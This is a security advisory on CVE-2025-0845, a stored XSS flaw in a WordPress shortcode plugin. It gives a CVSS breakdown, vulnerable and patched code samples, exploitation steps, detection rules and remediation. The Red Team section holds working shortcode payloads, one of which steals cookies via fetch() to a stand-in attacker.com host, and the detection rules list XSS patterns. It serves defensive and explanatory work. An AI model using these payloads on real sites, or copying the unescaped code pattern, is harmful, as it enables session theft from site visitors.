CVE-2025-0845

Executive Summary

CVE-2025-0845 is a Stored Cross-Site Scripting (XSS) vulnerability in the DesignThemes Core Features plugin for WordPress, affecting versions up to and including 4.8. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within shortcodes. An authenticated attacker with contributor-level privileges or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood currently. No public exploit code or Nuclei template is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (DesignThemes) and consider removing the plugin if no patch is forthcoming. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level or above
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for widespread impact on WordPress sites using the plugin is significant.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in WordPress shortcodes. The plugin registers custom shortcodes that accept user-supplied attributes (e.g., [dt_sc_icon icon="..."]). When processing these attributes, the plugin fails to properly sanitize input and escape output before rendering the shortcode in the page HTML.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts a malicious shortcode with an XSS payload in an attribute, e.g., [dt_sc_icon icon="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the attribute value without escaping, embedding the script in the page.
4. When any user (including administrators) visits the page, the script executes in their browser context.

Root Cause: The plugin uses functions like echo $atts['icon'] or similar without applying esc_attr() or wp_kses() for output, and does not validate input against a whitelist of allowed values.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A hypothetical patch would involve proper escaping.

Vulnerable Code (hypothetical example from plugin):

function dt_sc_icon_shortcode($atts) {
    $atts = shortcode_atts(array('icon' => ''), $atts);
    echo '<i class="' . $atts['icon'] . '"></i>'; // No escaping
}

Patched Code (hypothetical):

function dt_sc_icon_shortcode($atts) {
    $atts = shortcode_atts(array('icon' => ''), $atts);
    $icon = esc_attr($atts['icon']); // Escape output
    echo '<i class="' . $icon . '"></i>';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with DesignThemes Core Features plugin <= 4.8
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the content editor, insert a shortcode with a malicious attribute:

   [dt_sc_icon icon="<img src=x onerror=alert('XSS')>"]
   

4. Publish or save the post.
5. Any user visiting the post will trigger the XSS.

Proof-of-Concept Payloads:

• Basic alert: [dt_sc_icon icon="<script>alert(document.cookie)</script>"]
• Steal cookies: [dt_sc_icon icon="<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing suspicious shortcode attributes (e.g., <script>, onerror=, onload=).
• Use WAF rules to block XSS payloads in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:
  • Plugin file: /wp-content/plugins/designthemes-core-features/ (version <= 4.8)
• Network Indicators:
  • Outbound requests to attacker-controlled domains from compromised pages (e.g., https://attacker.com/steal?c=...)
• Log Indicators:
  • WordPress post content containing shortcodes with HTML/JavaScript in attributes
  • User agent strings or referrers from known malicious IPs

Detection Engineering

YARA Rule

rule Detect_DesignThemes_XSS_Shortcode {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0845"
    strings:
        $shortcode = /\[dt_sc_\w+\s+[^\]]*?(<|%3C|&#60;|&#x3C;)/ nocase
        $xss_payload = /(onerror|onload|onclick|onmouseover|alert|prompt|confirm|eval|fromCharCode|String\.fromCharCode)/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: WordPress DesignThemes Core Features Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS via shortcode attributes in DesignThemes Core Features plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "[dt_sc_"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0845 WordPress DesignThemes XSS Attempt"; flow:to_server,established; content:"[dt_sc_"; nocase; pcre:"/(onerror|onload|onclick|alert|prompt|eval)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict contributor-level accounts to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Long-term Fix:

• Await an official patch from DesignThemes. If none is provided, consider removing the plugin permanently.
• Apply the principle of least privilege: limit shortcode usage to administrators only via user role plugins.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.

Valters IT